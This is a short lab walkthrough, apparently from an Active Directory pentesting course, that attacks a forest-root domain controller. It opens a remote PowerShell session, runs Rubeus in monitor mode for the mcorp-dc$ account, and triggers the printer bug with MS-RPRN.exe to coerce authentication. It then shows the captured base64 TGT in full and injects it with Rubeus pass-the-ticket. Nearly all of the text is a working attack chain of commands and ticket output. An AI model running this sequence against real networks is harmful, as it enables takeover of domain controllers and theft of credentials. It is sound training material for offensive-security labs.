
First let’s login to the APPSRV Server
Enter-PSSession -ComputerName dcorp-appsrv

Now let’s get the DC for the Forest Root!
Get-DomainController -Domain moneycorp.local

Now let’s open the Rubeus Monitor mode for the mcorp-dc$ computer
.\\Rubeus.exe monitor /interval:5 /targetuser:mcorp-dc$ /nowrap

Now let’s abuse printer bug on our machine
.\\MS-RPRN.exe \\\\mcorp-dc.moneycorp.local \\\\dcorp-appsrv.dollarcorp.moneycorp.local

Now let’s go back to the Rubeus!

Insane We Got the mcorp-dc$ TGT
On our machine let’s open Rubeus and Pass-The-Ticket
.\\Rubeus.exe ptt /ticket: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
